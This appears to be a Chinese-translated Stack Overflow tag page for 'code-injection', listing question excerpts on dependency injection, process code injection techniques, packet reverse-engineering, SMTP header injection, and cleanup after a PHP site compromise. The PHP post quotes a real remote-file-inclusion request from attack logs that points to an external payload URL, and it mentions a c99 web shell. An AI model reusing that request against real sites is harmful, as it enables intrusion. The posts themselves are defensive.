问题标签 [code-injection]

For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.

0 投票
3 回答
2033 浏览

logging - 为什么自动注入日志对象并不总是在 grails 中工作?

在 grails-framework 中,一些对象正在使用日志。这通常由 grails 注入。它适用于grails test-app. 但是相同的测试(集成测试)在执行grails test-app -integration.

这里出了什么问题,我可以以某种方式强制注入日志对象吗?

0 投票
1 回答
2780 浏览

c# - unityContainer,子容器注入

我对 Unity 应用程序块很陌生,并且在尝试实现以下内容时有点卡住。我有一个父子容器。当我解析子容器的新实例时,我想使用 CreateChildContainer 方法将新的 UnityContainer 注入到构造函数中。

0 投票
2 回答
3105 浏览

.net - 将代码注入正在运行的 WPF 应用程序的最佳方法

这是我的任务:

  • 将自定义托管代码注入正在运行的托管 WPF 应用程序(即我的代码应该在其他 AppDomain 中运行)
  • 注入的代码必须在 UI 线程上执行

当我说“最好”时,我的意思是:

  • 注入过程必须尽可能稳定(无线程死锁等)
  • 代码应该可以毫无问题地在 x86 和 x64 平台上运行(尤其是在 Vista x64 上)

最小用例

  • 选择正在运行的 WPF 程序
  • 注入自定义代码
  • 注入代码将目标进程主窗口的标题更改为“注入代码”

我正在评估的解决方案:

1) 通过 windows hooks 注入(如在Snoop中)

优点:

  • 注入的代码在 UI 线程上运行

缺点:

  • 需要混合 (c++/cli) 外部 dll
  • 难以调试

2) 通过EasyHook库注入

优点:

  • 库看起来很稳固且经过良好测试

缺点:

  • 没有找到在 UI 线程上运行代码的方法
  • 注入库必须在 GAC 中签名并安装

3) 通过 WriteProcessMemory/CreateRemoteThreadEx/LoadLibrary 注入

优点:

  • 简单的

缺点:

  • 非常不稳定(代码必须在 DllMain 中执行,需要 CLR 托管等)

我将使用方法#1。你能推荐一个更好的方法吗?

是否有任何基于 CLR 托管在非托管 DLL 中的体面技术?

请注意,我知道这些问题:

0 投票
6 回答
15697 浏览

java - 如何轻松地将基于 XML 的配置文件加载到 Java 类中?

我有一个简单的 java 类,看起来像这样:



我想从一个看起来像这样的简单 XML 文件中读取这些信息:

有没有一种简单的方法可以将 xml 文件中的信息直接注入到变量名中,而不必手动解析它?我不介意使用外部库。

任何帮助表示赞赏。

0 投票
2 回答
740 浏览

javascript - 将一段 javascript 附加到 DOM 在生产中失败 - 但在开发中没有

我有一个 ASP.NET 网站。非常巨大!

我所做的最新添加,一切都启用了 JavaScript/AJAX。

我将 HTML 和 JavaScript 代码从服务器发送回客户端,客户端会将 HTML 注入 DIV - 并使用以下命令将 JavaScript 注入 DOM:

或这个:

在我自己的开发机器上,可以访问注入的 javascript,并且我能够执行注入的 JavaScript 函数。

当我部署到我的测试环境时,)我们有一个内部域名,例如 www.testenv.com)我收到 JavaScript 错误。

我试图将问题隔离到一个小页面中,在其中注入 alert("sfdfdf"); 在页面的底部,这工作正常。

是否有任何政策设置禁止这样做?

0 投票
1 回答
1087 浏览

.net - 您将如何强制 System.Net.Socket.Connect() 方法使用 socks 代理(代码注入与外部自定义代理)

我正在使用 WCF 的 netTcpBinding,它直接连接到一个端点,并且似乎对 socks 代理一无所知。

我需要使用代理,因为我的大多数客户端都不允许直接出站连接,并且始终强制使用 socks 代理。

  • 我的第一个想法是配置 .net 框架来做到这一点,所以我编辑了 machine.config 文件如下,但它似乎只适用于 http 代理(不是袜子)

    /li>
  • 我的第二个选择是实现从 netTcpBinding 继承的自定义绑定,并且仅覆盖连接逻辑以添加代理代码。

    我已经分解了 System.ServiceModel 程序集,不幸的是,很多类都标记为内部类(包括 SocketConnectionInitiator、ConnectionPoolHelper、ClientFramingDuplexSessionChannel 和 FramingDuplexSessionChannel,可能还有其他类)

    这使得创建自定义 netTcpBinding 成为一项巨大的工作,而且在交付新版本的 .net 框架时可能会导致一些问题。

  • 另一个想法是将一些代码直接注入到 Socket.Connect() 方法中。这很容易实现,但我对修改.net框架的内部代码不是很有信心。此外,虽然套接字类没有标记为密封,但我害怕破坏某些东西,尤其是在框架的后期版本中。

  • 我现在的最后一个想法:我可以创建一个小代理工具,与我的软件在同一台计算机上运行,​​它会自动连接到公司的 socks 代理,并向真正的 socks 代理发出良好的“连接服务器”命令.

我认为后一种选择更好,但我很想听听其他人的意见。

你怎么看?

0 投票
2 回答
1395 浏览

windows - 如何在 Windows 应用程序中对加扰数据包进行反向工程?

我有一个 Windows exe 应用程序,用于将数据包明文发送到服务器。这个应用程序(让我们称之为客户端应用程序)绝对是封闭源的,但是一些聪明的黑客对二进制文件进行了十六进制编辑,并让它发送被加扰的数据包。

现在,显然,这些数据包以一种可破译的方式进行了加扰(否则服务器将无法理解它),但我想做的是编写一个仿真器来模拟这个二进制应用程序,将相同的数据包发送到服务器,并且能够解读响应(如果它被加扰)。

十六进制客户端需要额外的 dll 才能运行,而旧客户端则不需要。我假设十六进制客户端设法以某种方式加载该dll(让我们称之为client.dll)并且该dll的功能是通过连接到一些重新路由从发送的所有数据包的windows api来实现加扰/解扰client.exe 进程。

如果有人可以指导我如何开始研究这一切是如何工作的,以及我如何对加扰进行逆向工程,那将非常感激。

我不知道要提供什么样的信息,但如果有任何不足,请回复,我会发布更多详细信息,如果有人想要二进制文件,我很乐意提供。


任何感兴趣的各方的二进制下载:

http://dl.getdropbox.com/u/46623/client.dll

http://dl.getdropbox.com/u/46623/newClient.exe

http://dl.getdropbox.com/u/46623/originalClient.exe

这些不会运行,因为需要资源文件 - 它们大约 3 gig,所以太大而无法上传到任何地方。名称已更改以保护有罪 =) ,但这可能不保护 dll 的名称...

0 投票
4 回答
12824 浏览

php - PHP 注入攻击 - 如何最好地清理混乱?

有时,我的共享托管环境会受到损害,因为我未能对已安装的应用程序组合进行修补。上周,这是因为安装了一个旧的且未使用的 PHP 应用程序,称为 Help Center Live。结果是服务器上的每个 PHP 文件(我有几个 Wordpress、Joomlas、SilverStripe 安装)都添加了代码,这些代码从其他站点中提取隐藏链接并将它们包含在我的页面中。在这种攻击之后,其他人报告说他们的网站被 Google 禁止了 - 幸运的是,我似乎很早就发现了它。我只是在从我的手机浏览到其中一个站点时才注意到它 - 该页面包含移动浏览器中包含的链接。

我在日志中发现了很多这样的攻击尝试:

62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http:// /www.portlandonnuri.com/2008_web//technote7/data/photo/id2.txt ??? HTTP/1.1" 200 26"-""libwww-perl/5.814"

我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的 PHP 代码。我还发现该脚本创建了 HTML 文件,其中包含要包含的其他受感染站点的链接。我也删除了它们。现在我担心攻击者可能留下了我错过的其他东西 - 一个 PHP 文件,可以让他永久访问。文件日期在攻击中都被修改了,我找不到在相关时间段内更改的任何其他文件。为了确保我的服务器上没有后门,我是否遗漏了一些明显的东西?

编辑:我还搜索包含攻击代码的文本文件,就像上面的日志文件片段中显示的那样。我没有找到。

另一个编辑:如果你碰巧看到这篇文章是因为你发现自己处于同样的情况,也许这会对你有所帮助。在操作它们之前,我用它来备份我的所有 PHP 源文件:

这是为了撤消攻击者所做的更改:

不是火箭科学,但对于像我这样的偶尔的 Linux/Unix 用户来说也不是微不足道的:-)。

另一个编辑:我无法审核服务器上的每一行代码,但我可以搜索可疑数据。我搜索了所有出现的“eval”和“base64”,但没有找到任何看起来不合法的东西。然后我为“.ru”运行了一个 grep(因为肇事者似乎来自那里),你瞧,发现了一个叫做 c99 shell 的东西,我很快就把它删除了。

最终编辑:我发现了 c99 shell 是如何上传的——通过 Coppermine 照片库中的一个洞。

顺便说一句,IP 地址是 Godaddy 托管的 IP。

0 投票
4 回答
6267 浏览

servlets - 将 EJB 作为实例变量注入 servlet 是否安全?

我们都知道,在 Web 层中,可能只存在给定 Servlet 的单个实例,它服务于多个请求。这可能会导致实例变量中的线程问题。

我的问题是,使用 @EJB 注释将 EJB 作为实例变量注入 servlet 是否安全?

我最初的直觉是不会,假设同一个 EJB 实例会同时服务多个请求。这似乎也是许多其他程序员的本能:不要注入到 servlet

但是,我是否跳到了错误的结论。很明显,注入到 servlet 的是代理,在底层,容器实际上是否使用不同的实例为每个请求提供服务并维护线程安全?正如这个论坛所建议的那样:Do inject to servlet

似乎有很多相互矛盾的意见。哪个是对的???

0 投票
3 回答
3143 浏览

asp.net - ASP.NET 中的 SMTP 标头注入?

我的 ASP.NET 网站有一个全局错误处理程序,当 Web 应用程序出现任何类型的错误时,它会向我(和另一个开发人员)发送电子邮件。我们最近收到一个错误,其中包含对我们从未听说过的电子邮件地址的抄送。可怕的是,错误电子邮件发送给的开发人员列表是硬编码在已编译的 ASP.NET 代码中的。我们看不到如何添加 CC。

我们也非常怀疑犯规行为,因为导致错误的请求是试图使用我们的一种形式发送垃圾邮件。发送请求的 IP 地址也列在http://www.projecthoneypot.org/上。

我们现在最好的猜测是该请求以某种方式格式错误,它在电子邮件中注入了一个 CC 标头。问题是我们无法弄清楚如何做到这一点。我们正在使用 System.Net.Mail 发送电子邮件,它似乎可以防止此类事情发生。MailMessage 对象的主题只接受单行,因此您不会使用抄送行创建多行主题。在 MailMessage 中设置 to 和 cc 地址似乎相当健壮。而且我看不到您如何在邮件正文中添加 CC 标头。我找不到有关此的任何信息,我很想知道这是否是一个真正的问题。

编辑:有人要求提供代码。它有点长,但这里是: